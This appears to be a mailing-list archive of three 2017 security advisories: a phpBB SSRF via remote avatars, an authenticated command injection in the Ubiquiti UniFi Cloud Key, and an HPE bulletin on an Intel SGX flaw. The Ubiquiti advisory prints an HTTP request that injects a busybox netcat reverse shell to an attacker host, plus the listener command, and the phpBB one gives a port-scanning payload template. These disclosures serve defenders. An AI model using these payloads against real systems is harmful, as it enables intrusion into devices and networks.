SEC Consult SA-20170804-0 :: phpBB Server Side Request Forgery (SSRF) vulnerability

2017-08-04 Thread SEC Consult Vulnerability Lab 
SEC Consult Vulnerability Lab Security Advisory < 20170804-0 >
===
  title: Server Side Request Forgery Vulnerability
product: phpBB
 vulnerable version: 3.2.0
  fixed version: 3.2.1
 CVE number:
 impact: Medium
   homepage: https://www.phpbb.com/
  found: 2017-05-21
 by: Jasveer Singh (Office Kuala Lumpur)
 SEC Consult Vulnerability Lab

 An integrated part of SEC Consult
 Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
 Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

 https://www.sec-consult.com

===

Vendor description:
---
"phpBB is a free flat-forum bulletin board software solution that can be used
to stay in touch with a group of people or can power your entire website. With
an extensive database of user-created extensions and styles database
containing hundreds of style and image packages to customise your board, you
can create a very unique forum in minutes."

Source: https://www.phpbb.com/


Business recommendation:

The patch should be installed immediately. Furthermore, SEC Consult recommends
to perform a thorough security review of this software.


Vulnerability overview/description:
---
The phpBB forum software is vulnerable to the server side request forgery
(SSRF) attack. An attacker is able to perform port scanning, requesting
internal content and potentially attacking such internal services via the
web application's "Remote Avatar" function.


Proof of concept:
-
This vulnerability can be exploited by an attacker with a registered account
as low as a normal account. If the web application enables remote avatar, this
feature could be abused by an attacker to perform port scanning. Below is the
example on how the SSRF issue can be exploited.

URL : http://$DOMAIN/ucp.php?i=ucp_profile=avatar
METHOD  : POST
PARAMETER   : avatar_remote_url
PAYLOAD : http://$DOMAIN:$PORT/x.jpg


Vulnerable / tested versions:
-
phpBB version 3.2.0 has been tested. This version was the latest
at the time the security vulnerability was discovered.


Vendor contact timeline:

2017-05-23: Contacting vendor through security bug tracker.
2017-05-29: Vendor confirms the vulnerabilities and working on the fixes.
2017-07-12: Vendor requesting extension for deadline of 5 days from the
latest possible release date.
2017-07-17: Patch released by the vendor.
2017-08-04: Public release of the advisory.


Solution:
-
Upgrade to phpBB 3.2.1

For further information see:
https://www.phpbb.com/community/viewtopic.php?f=14=14782136


Workaround:
---


Advisory URL:
-
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Jasveer Singh / @2017



signature.asc
Description: OpenPGP digital signature

SEC Consult SA-20170804-1 :: Ubiquiti Networks UniFi Cloud Key authenticated command injection

2017-08-04 Thread SEC Consult Vulnerability Lab 
SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >
===
  title: Authenticated Command Injection
product: Ubiquiti Networks UniFi Cloud Key
 vulnerable version: Firmware v0.6.1
  fixed version: Firmware v0.6.4
 CVE number:
 impact: High
   homepage: https://www.ubnt.com
  found: 2017-03-26
 by: T. Weber (Office Vienna)
 SEC Consult Vulnerability Lab

 An integrated part of SEC Consult
 Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
 Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

 https://www.sec-consult.com
===

Vendor description:
---
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/


Business recommendation:

SEC Consult recommends not to use this device in production until a thorough
security review has been performed by security professionals and all
identified issues have been resolved.


Vulnerability overview/description:
---
A command injection can be triggered via the hostname header in the status GET
request. This vulnerability can be exploited when the Cloud Key web interface
is exposed to the Internet and an attacker has credentials to it.

Proof of concept:
-
The following PHP snipplet is responsible for the command execution 
vulnerability:

(api.inc, line 265)
---
[...]
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
[...]
---

Since '$c_host' is not filtered, a command injection is possible.

The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):
---
GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: 
Referer: https://192.168.0.30/login
Cookie: CKSESSIONID=
Connection: close
---

As the listener, netcat was used:
$ nc -lvp 8999

Vulnerable / tested versions:
-
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version
was the latest at the time the security vulnerabilities were discovered.


Vendor contact timeline:

2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
"Triaged".
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-05-16: Vendor closed the ticked and changed the status to resolved.
Current firmware version was v0.6.4. Set the publication
date to 2017-08-04 (at least 90 days after fix).
2017-08-04: Public release of security advisory

Solution:
-
Upgrade to v0.6.4 or above.


Workaround:
---
None


Advisory URL:
-
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

[security bulletin] HPESB3P03767 rev.1 - HPE Proliant ML10 Gen9 servers using Intel Xeon E3-1200M v5 and 6th Generation Intel Core Processors, Unauthorized Write to Filesystem

2017-08-04 Thread security-alert 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesb3p03767en_us

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: hpesb3p03767en_us
Version: 1

HPESB3P03767 rev.1 - HPE Proliant ML10 Gen9 servers using Intel Xeon E3-1200M
v5 and  6th Generation Intel Core Processors, Unauthorized Write to
Filesystem

NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.

Release Date: 2017-08-03
Last Updated: 2017-08-03

Potential Security Impact: Local: Unauthorized Write Access to the File
System; Remote: Unauthorized Write Access to the File System

Source: Hewlett Packard Enterprise, Product Security Response Team

VULNERABILITY SUMMARY
A potential security problem has been identified in HPE Proliant ML10 Gen9
server using Intel Xeon E3-1200M v5 and 6th Generation Intel Core Processors.
The vulnerability could allow a remote unauthorized attacker to write to file
systems.

References:

  - CVE-2017-5691 - Intel SGX Update and Attestation Key Recovery

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.

  - HPE ProLiant ML10 Gen9 E3-1225 v5 3.3GHz 4-core 8GB-R 1TB Non-hot Plug
4LFF SATA 300W AP Svr/Promo SP
  - HPE ProLiant ML10 Gen9 E3-1225 v5 4GB-R 1TB Non-hot Plug 4LFF SATA 300W
Svr/S-Buy SP
  - HPE ProLiant ML10 Gen9 E3-1225 v5 8GB-R 1TB Non-hot Plug 4LFF SATA 300W
Perf Svr SP
  - HPE ProLiant ML10 Gen9 E3-1225 v5 8GB-R 2TB Non-hot Plug 4LFF SATA 300W
Svr/GO SP
  - HPE ProLiant ML10 Gen9 E3-1225 v5 8GB-R 2TB Non-hot Plug 4LFF SATA 300W
Svr/TV SP
  - HPE ProLiant ML10 Gen9 G4400 4GB-R Non-hot Plug 4LFF SATA 300W Entry Svr
SP

BACKGROUND

  CVSS Base Metrics
  =
  Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector

CVE-2017-5691
  8.8 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
  7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)

Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:

https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499

RESOLUTION

HPE has provided the following update:  

 * Update to ML10 Gen 9 BIOS 1.07, which contains the 0xBA microcode update,
will patch the SGX security issue. Available for download at this link:

  - 
  
 
**Note:** Please contact HPE Technical Support if any assistance is needed
with this information.

HISTORY
Version:1 (rev.1) - 4 August 2017 Initial release

Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management
policy.

Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-al...@hpe.com.

Report: To report a potential security vulnerability for any HPE supported
product:
  Web form: https://www.hpe.com/info/report-security-vulnerability
  Email: security-al...@hpe.com

Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email: http://www.hpe.com/support/Subscriber_Choice

Security Bulletin Archive: A list of recently released Security Bulletins is
available here: http://www.hpe.com/support/Security_Bulletin_Archive

Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.

3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX

Copyright 2016 Hewlett Packard Enterprise

Hewlett Packard Enterprise shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is" without warranty of any kind. To the extent permitted by law, neither
HP or its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice. Hewlett
Packard Enterprise and the names of Hewlett Packard Enterprise products
referenced herein are trademarks of Hewlett Packard Enterprise in the United
States and other countries. Other product and company names mentioned herein
may be trademarks of their respective owners.
-BEGIN PGP SIGNATURE-
Version: GnuPG v1

iQEcBAEBCAAGBQJZg4xWAAoJELXhAxt7SZaijWIH/1bWATsLRK3sL2+urTNKGBnG
gvVj0Oej02UmL1NY2sOeRJGV5ZO7NOvHlw7/+xgVEWaAOnlMgU22FEFOz7pMaSst
MSgLWpraxYkh6uyncQjlaXQKgm+icOT6R/zDOYgw3Wm+GdyTO1eFXVpKGgCiTb24